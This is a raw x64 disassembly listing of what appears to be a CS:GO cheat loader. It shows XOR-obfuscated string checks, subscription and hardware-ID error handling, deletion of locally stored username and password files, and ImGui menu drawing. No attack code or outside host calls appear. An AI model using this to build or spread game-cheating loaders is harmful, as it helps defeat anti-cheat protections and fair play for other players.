cmp rax, 0x1f
ja 0x1400531f8
call fcn.1400583c8
mov rdx, qword [rbp + 0x2a8]
mov qword [rbp + 0x250], rdi
mov qword [rbp + 0x258], 0xf
mov byte [rbp + 0x240], dil
cmp rdx, 0x10
jb 0x14005209a
mov rcx, qword [rbp + 0x290]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052095
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531f8
call fcn.1400583c8
lea rdx, [rbp + 0xd68]
mov qword [rbp + 0x2a0], rdi
lea rcx, [rbp + 0xc00]
mov qword [rbp + 0x2a8], 0xf
mov byte [rbp + 0x290], dil
call fcn.140055530
mov rdx, rax
lea rcx, [rbp + 0x398]
call fcn.14004a870
mov rbx, rax
lea rax, [0x14009e888]
cmp rax, rbx
je 0x140052166
mov rdx, qword [0x14009e8a0]
cmp rdx, 0x10
jb 0x140052129
mov rcx, qword [0x14009e888]
inc rdx
cmp rdx, 0x1000
jb 0x140052124
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400531ff
mov rcx, r8
call fcn.1400583c8
mov qword [0x14009e898], rdi
mov qword [0x14009e8a0], 0xf
mov byte [0x14009e888], dil
movups xmm0, xmmword [rbx]
movups xmmword [0x14009e888], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x14009e898], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
mov rdx, qword [rbp + 0x3b0]
cmp rdx, 0x10
jb 0x1400521a7
mov rcx, qword [rbp + 0x398]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400521a2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531ff
call fcn.1400583c8
mov qword [rbp + 0x3a8], rdi
lea rcx, [rbp + 0x40]
mov qword [rbp + 0x3b0], 0xf
movabs rax, 0xd9ee6dd86e74431c
mov byte [rbp + 0x398], dil
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xd9ee6dd86e16366f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10e0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x10e8], rax
mov rax, 0xffffffffffffffff
movdqa xmm0, xmmword [rbp + 0x10e0]
pxor xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x40], xmm0
inc rax
cmp byte [rcx + rax], dil
jne 0x140052227
cmp qword [0x14009e8a0], 0x10
lea rcx, [0x14009e888]
mov r8, qword [0x14009e898]
cmovae rcx, qword [0x14009e888]
cmp r8, rax
jne 0x14005229a
lea rdx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14005229a
lea rcx, str.C:Your_cheat_nameusername.data
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Your_cheat_namepassword.data
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Your_cheat_nameuser.jpg
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rax, str.NO_SUB_
mov qword [0x14006e060], rax
jmp 0x1400525d6
xor edx, edx
lea rcx, [rbp + 0xdc8]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
lea r14, [0x1400627d0]
lea rcx, [rbp + 0xe68]
mov qword [rbp + 0xdc0], r14
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
lea rdx, [rbp + 0xdc8]
xor r8d, r8d
lea rcx, [rbp + 0xdc0]
or r15d, 1
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0xdc0]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xdc0], rbx
mov rax, qword [rbp + 0xdc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xdbc], edx
lea rcx, [rbp + 0xdc8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp + 0xe44], dil
lea rcx, [rbp + 0xdc8]
mov qword [rbp + 0xdc8], rax
mov byte [rbp + 0xe39], dil
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1400a29c0]
lea rdx, str.C:Your_cheat_nameusername.data
mov r8d, 2
mov qword [rbp + 0xe3c], rax
lea rcx, [rbp + 0xdc8]
mov qword [rbp + 0xe48], rdi
mov qword [rbp + 0xe30], rdi
call fcn.140055a40
xor r8d, r8d
test rax, rax
mov rax, qword [rbp + 0xdc0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xdc0]
je 0x1400523ab
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400523b9
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp qword [rbp + 0xe48], rdi
je 0x1400523e5
lea rdx, [0x14009f590]
lea rcx, [rbp + 0xdc0]
call fcn.1400564e0
lea rdx, [0x1400566b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
lea rcx, [rbp + 0xed8]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0xf78]
mov qword [rbp + 0xed0], r14
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
or r15d, 2
lea rdx, [rbp + 0xed8]
xor r9d, r9d
mov dword [rbp + 8], r15d
xor r8d, r8d
lea rcx, [rbp + 0xed0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0xed0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xed0], rbx
mov rax, qword [rbp + 0xed0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xecc], edx
lea rcx, [rbp + 0xed8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp + 0xf54], dil
lea rcx, [rbp + 0xed8]
mov qword [rbp + 0xed8], rax
mov byte [rbp + 0xf49], dil
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1400a29c0]
lea rdx, str.C:Your_cheat_namepassword.data
mov r8d, 2
mov qword [rbp + 0xf4c], rax
lea rcx, [rbp + 0xed8]
mov qword [rbp + 0xf58], rdi
mov qword [rbp + 0xf40], rdi
call fcn.140055a40
xor r8d, r8d
test rax, rax
mov rax, qword [rbp + 0xed0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xed0]
je 0x1400524ec
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400524fa
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp qword [rbp + 0xf58], rdi
je 0x140052526
lea rdx, [0x14009f7d0]
lea rcx, [rbp + 0xed0]
call fcn.1400564e0
lea rdx, [0x1400566b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbp + 0xed0]
mov byte [0x14009f57d], 1
mov byte [0x14009f57e], 1
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xed0], rbx
mov rax, qword [rbp + 0xed0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xecc], edx
lea rcx, [rbp + 0xed8]
call fcn.140054a90
lea rcx, [rbp + 0xee0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xf78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rax, qword [rbp + 0xdc0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xdc0], rbx
mov rax, qword [rbp + 0xdc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xdbc], edx
lea rcx, [rbp + 0xdc8]
call fcn.140054a90
lea rcx, [rbp + 0xdd0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xe68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0xd80]
cmp rdx, 0x10
jb 0x140052617
mov rcx, qword [rbp + 0xd68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052612
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400533cf
call fcn.1400583c8
mov qword [rbp + 0xd78], rdi
mov qword [rbp + 0xd80], 0xf
mov byte [rbp + 0xd68], dil
jmp 0x14005278b
lea rdx, [0x14009e8c0]
movabs rax, 0xd9ee6dd80a7f4107
lea rcx, [rbp + 0x50]
mov qword [rbp], rax
movabs r15, 0xd9ee6dd86e16366f
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1090], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1098], rax
mov rax, rbx
movdqa xmm0, xmmword [rbp + 0x1090]
pxor xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x50], xmm0
nop
inc rax
cmp byte [rcx + rax], dil
jne 0x1400526a0
cmp qword [0x14009e8d8], 0x10
mov rcx, rdx
mov r8, qword [0x14009e8d0]
cmovae rcx, qword [0x14009e8c0]
cmp r8, rax
jne 0x1400526e8
lea rdx, [rbp + 0x50]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400526e1
lea rax, str.HWID_ERROR_
jmp 0x140052784
lea rdx, [0x14009e8c0]
movabs rax, 0xd9ee6dd8027f5709
lea rcx, [rbp + 0x60]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x10a8], rax
mov rax, rbx
movdqa xmm0, xmmword [rbp + 0x10a0]
pxor xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
inc rax
cmp byte [rcx + rax], dil
jne 0x140052741
cmp qword [0x14009e8d8], 0x10
mov rcx, rdx
mov r8, qword [0x14009e8d0]
cmovae rcx, qword [0x14009e8c0]
cmp r8, rax
jne 0x14005277d
lea rdx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
lea rax, str.INCORRECT_DATA_
je 0x140052784
lea rax, str.UNKNOWN_ERROR_
mov qword [0x14006e060], rax
mov rcx, qword [0x14009f580]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, str.Loader_Working
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm11
addss xmm2, dword [0x140062a6c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.1400396b0
mov rcx, qword [0x14009f580]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp + 0xd28]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm11
addss xmm2, dword [0x140062a70]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
cmp qword [rbp + 0xd40], 0x10
cmovae rcx, qword [rbp + 0xd28]
call fcn.1400396b0
movaps xmm0, xmmword [0x140062e80]
lea rcx, [rbp + 0x700]
movups xmmword [rbp + 0x700], xmm0
mov dword [rbp + 0xe0], 0x3f800000
movaps xmm0, xmm9
mov dword [rbp + 0xe4], 0x3f800000
addss xmm0, dword [0x140062abc]
movaps xmm1, xmm8
mov qword [rbp + 0xe8], rdi
addss xmm1, dword [0x140062a68]
addss xmm8, dword [0x140062a10]
addss xmm9, xmm11
movss dword [rbp + 0xf0], xmm0
movss dword [rbp + 0xf4], xmm1
movss dword [rbp + 0xfc], xmm8
movss dword [rbp + 0xf8], xmm9
call fcn.140003260
mov rdx, qword [rbp + 0x100]
lea r9, [rbp + 0xf0]
movss dword [rsp + 0x38], xmm10
lea r8, [rbp + 0xf8]
mov dword [rsp + 0x30], eax
mov rcx, rsi
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x20], rax
call fcn.14002ede0
mov esi, 1
jmp 0x140052fe0
mov byte [rdx + 0xd1], bl
lea r9, [rbp + 0x140]
mov rax, qword [rcx + 0x1d18]
lea r8, [rbp + 0x108]
mov rcx, qword [rbp + 0x20]
lea rdx, [rbp + 0x110]
mov dword [rbp + 0x140], 0x3f800000
mov dword [rbp + 0x144], 0x3f800000
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
mov qword [rbp + 0x108], rdi
mov dword [rbp + 0x110], 0x42600000
addss xmm0, dword [0x1400629c0]
mov dword [rbp + 0x114], 0x424c0000
addss xmm2, xmm14
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movaps xmm1, xmmword [0x140062e80]
movss dword [rax + 0x134], xmm0
xorps xmm0, xmm0
lea rax, [rbp + 0x710]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x720]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x710], xmm0
movups xmmword [rbp + 0x720], xmm1
call fcn.14003b740
movaps xmm0, xmmword [0x140062e80]
lea rcx, [rbp + 0x730]
movaps xmm1, xmm9
movss dword [rbp + 0x11c], xmm6
addss xmm1, dword [0x140062a30]
movss dword [rbp + 0x124], xmm7
movups xmmword [rbp + 0x730], xmm0
movss dword [rbp + 0x118], xmm1
movss dword [rbp + 0x120], xmm1
call fcn.140003260
mov r9d, eax
movss dword [rsp + 0x20], xmm14
lea r8, [rbp + 0x118]
mov rcx, rsi
lea rdx, [rbp + 0x120]
call fcn.14002e7c0
movaps xmm0, xmmword [0x140062e30]
lea rcx, [rbp + 0x740]
movups xmmword [rbp + 0x740], xmm0
movaps xmm2, xmm9
movaps xmm1, xmm8
addss xmm2, dword [0x140062a3c]
addss xmm1, dword [0x1400629f8]
movaps xmm0, xmm2
movss dword [rbp + 0x130], xmm2
addss xmm0, dword [0x140062ab4]
movss dword [rbp + 0x134], xmm1
movss dword [rbp + 0x128], xmm0
movaps xmm0, xmm1
addss xmm0, dword [0x140062a2c]
movss dword [rbp + 0x12c], xmm0
call fcn.140003260
mov r9d, eax
mov dword [rsp + 0x28], edi
lea r8, [rbp + 0x128]
movss dword [rsp + 0x20], xmm10
lea rdx, [rbp + 0x130]
mov rcx, rsi
call fcn.14002ea30
movaps xmm0, xmmword [0x140062e30]
movaps xmm7, xmm9
addss xmm7, dword [0x1400629e4]
movups xmmword [rbp + 0x750], xmm0
movaps xmm6, xmm8
movaps xmm0, xmm7
addss xmm0, dword [0x140062a20]
movss dword [rbp + 0x138], xmm0
addss xmm6, dword [0x140062aa0]
addss xmm8, dword [0x140062a9c]
addss xmm9, xmm10
lea rcx, [rbp + 0x750]
movaps xmm0, xmm6
addss xmm0, dword [0x140062a20]
movss dword [rbp + 0x178], xmm9
movss dword [rbp + 0x17c], xmm8
movss dword [rbp + 0x13c], xmm0
call fcn.140003260
mov r9d, eax
mov dword [rsp + 0x28], edi
lea r8, [rbp + 0x138]
movss dword [rsp + 0x20], xmm10
lea rdx, [rbp + 0x178]
mov rcx, rsi
call fcn.14002ea30
movaps xmm0, xmmword [0x140062e80]
lea rcx, [rbp + 0x760]
movups xmmword [rbp + 0x760], xmm0
mov dword [rbp + 0x148], 0x3f800000
movaps xmm0, xmm7
movss dword [rbp + 0x160], xmm7
addss xmm0, dword [0x140062a1c]
movaps xmm1, xmm6
movss dword [rbp + 0x164], xmm6
addss xmm1, dword [0x140062a1c]
mov dword [rbp + 0x14c], 0x3f800000
mov qword [rbp + 0x150], rdi
movss dword [rbp + 0x158], xmm0
movss dword [rbp + 0x15c], xmm1
call fcn.140003260
mov rdx, qword [0x14009f8d8]
lea r9, [rbp + 0x158]
movss dword [rsp + 0x38], xmm10
lea r8, [rbp + 0x160]
mov dword [rsp + 0x30], eax
mov rcx, rsi
lea rax, [rbp + 0x148]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x20], rax
call fcn.14002ede0
mov rcx, qword [0x14009f580]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], bl
mov rax, qword [rcx + 0x1d18]
lea rcx, str.CS:GO
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x140062a40]
addss xmm2, dword [0x1400629fc]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.1400396b0
mov rcx, qword [0x14009f580]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], bl
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x140062a40]
addss xmm2, dword [0x140062a18]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov r15, qword [0x14009e898]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x11
jb 0x1400534ef
cmp qword [0x14009e8a0], 0x10
lea r14, [0x14009e888]
mov qword [rbp + 0xcc0], rdi
lea rsi, [r15 + 0x11]
cmovae r14, qword [0x14009e888]
lea rbx, [rbp + 0xcb0]
mov qword [rbp + 0xcc8], rdi
xorps xmm0, xmm0
mov edi, 0xf
movups xmmword [rbp + 0xcb0], xmm0
cmp rsi, rdi
jbe 0x140052e7a
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x140052e0e
mov rdi, rcx
jmp 0x140052e1b
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
mov rcx, rdi
mov rax, 0xffffffffffffffff
add rcx, 1
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140052e62
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005351f
mov rcx, rax
call fcn.1400585bc
test rax, rax
je 0x140053206
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140052e73
test rcx, rcx
je 0x140052e6e
call fcn.1400585bc
jmp 0x140052e70
xor eax, eax
mov rbx, rax
mov qword [rbp + 0xcb0], rbx
movups xmm0, xmmword [str.Expiration_date:]
mov qword [rbp + 0xcc0], rsi
lea rcx, [rbx + 0x11]
mov qword [rbp + 0xcc8], rdi
mov r8, r15
movups xmmword [rbx], xmm0
movzx eax, byte [0x1400626a0]
mov rdx, r14
mov byte [rbx + 0x10], al
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
lea rcx, [rbp + 0xcb0]
cmp qword [rbp + 0xcc8], 0x10
cmovae rcx, qword [rbp + 0xcb0]
call fcn.1400396b0
mov rcx, qword [0x14009f580]
lea rdx, [rbp + 0x168]
mov dword [rbp + 0x168], 0x43700000
mov dword [rbp + 0x16c], 0x42200000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, str.START
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x140062ab0]
addss xmm2, xmm13
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.14003a170
movzx ecx, byte [0x14009f57b]
test al, al
mov rdx, qword [rbp + 0xcc8]
mov esi, 1
cmovne ecx, esi
mov byte [0x14009f57b], cl
cmp rdx, 0x10
jb 0x140052fc5
mov rcx, qword [rbp + 0xcb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052fc0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140053206
call fcn.1400583c8
xor edi, edi
mov qword [rbp + 0xcc8], 0xf
mov qword [rbp + 0xcc0], rdi
mov byte [rbp + 0xcb0], dil
call fcn.140010b10
call fcn.140009a60
mov rcx, qword [0x14009f7c0]
mov r9d, 3
movss xmm0, dword [0x1400629a0]
xor r8d, r8d
mov dword [rsp + 0x30], edi
xor edx, edx
movss dword [rsp + 0x28], xmm0
mov rax, qword [rcx]
mov dword [rsp + 0x20], edi
call qword [rax + 0x158]
mov rcx, qword [0x14009f7c0]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14005306a
call fcn.140009f20
mov rax, qword [0x14009f580]
mov rcx, qword [rax + 0x1ef8]
mov rax, qword [rcx]
mov rcx, rdi
add rax, 0xa8
cmp byte [rax], 0
cmovne rcx, rax
call fcn.140035150
mov rcx, qword [0x14009f7c0]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [r13 + 8], 0x400
je 0x14005314a
call fcn.140019b00
mov rbx, qword [0x14009f580]
mov r14d, esi
mov eax, dword [rbx + 0x1628]
cmp eax, 1
jle 0x1400530f1
mov esi, 8
nop word [rax + rax]
mov rax, qword [rbx + 0x1630]
mov rdi, qword [rsi + rax]
test dword [rdi + 4], 0x400
jne 0x1400530da
mov rax, qword [rbx + 0x15c0]
test rax, rax
je 0x1400530c7
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rbx + 0x1608]
test rax, rax
je 0x1400530da
xor edx, edx
mov rcx, rdi
call rax
mov eax, dword [rbx + 0x1628]
inc r14d
add rsi, 8
cmp r14d, eax
jl 0x1400530a0
mov esi, 1
mov r14d, esi
cmp eax, 1
jle 0x14005314a
mov esi, 8
nop
mov rax, qword [rbx + 0x1630]
mov rdi, qword [rsi + rax]
test dword [rdi + 4], 0x400
jne 0x14005313a
mov rax, qword [rbx + 0x15c8]
test rax, rax
je 0x140053127
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rbx + 0x1610]
test rax, rax
je 0x14005313a
xor edx, edx
mov rcx, rdi
call rax
inc r14d
add rsi, 8
cmp r14d, dword [rbx + 0x1628]
jl 0x140053100
mov rcx, qword [0x14009f7c0]
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140053189
mov rcx, qword [0x14009f7c0]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x140053189
call fcn.140046f20
cmp dword [rbp + 0xd90], 0x12
je 0x14005320d
mov r15d, dword [rbp + 8]
mov rsi, 0xffffffffffffffff
mov r14, qword [rbp + 0x170]
jmp 0x140050850
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0xcd8], edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001a100
call fcn.140035a00
mov rcx, qword [0x14009fa50]
test rcx, rcx
je 0x140053230
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14009fa50], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rax
lea rcx, str.ImGui_Platform
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rcx, qword [0x14009fa68]
test rcx, rcx
je 0x14005325a
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbx, qword [0x14009f580]
mov rcx, rbx
mov qword [0x14009fa68], rdi
mov qword [0x14009fa70], rdi
mov qword [0x14009fa78], rdi
mov qword [0x14009fa80], rdi
mov qword [0x14009fa88], rdi
mov qword [0x14009fa90], rdi
mov dword [0x14009e860], 9
mov byte [0x14009fa60], 0
mov byte [0x14009e85c], 1
call fcn.1400089a0
mov rax, qword [0x14009f580]
cmp rax, rbx
cmove rax, rdi
mov qword [0x14009f580], rax
test rbx, rbx
je 0x1400532ee
mov rcx, rbx
call fcn.140023d80
mov rax, qword [0x14009f580]
test rax, rax
je 0x1400532df
dec dword [rax + 0x3b0]
mov rdx, qword [0x14009f570]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, qword [0x14009f7c0]
test rcx, rcx
je 0x140053307
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14009f7c0], rdi
mov rcx, qword [0x14009f7c8]
test rcx, rcx
je 0x140053320
mov rax, qword [rcx]
call qword [rax + 0x10]
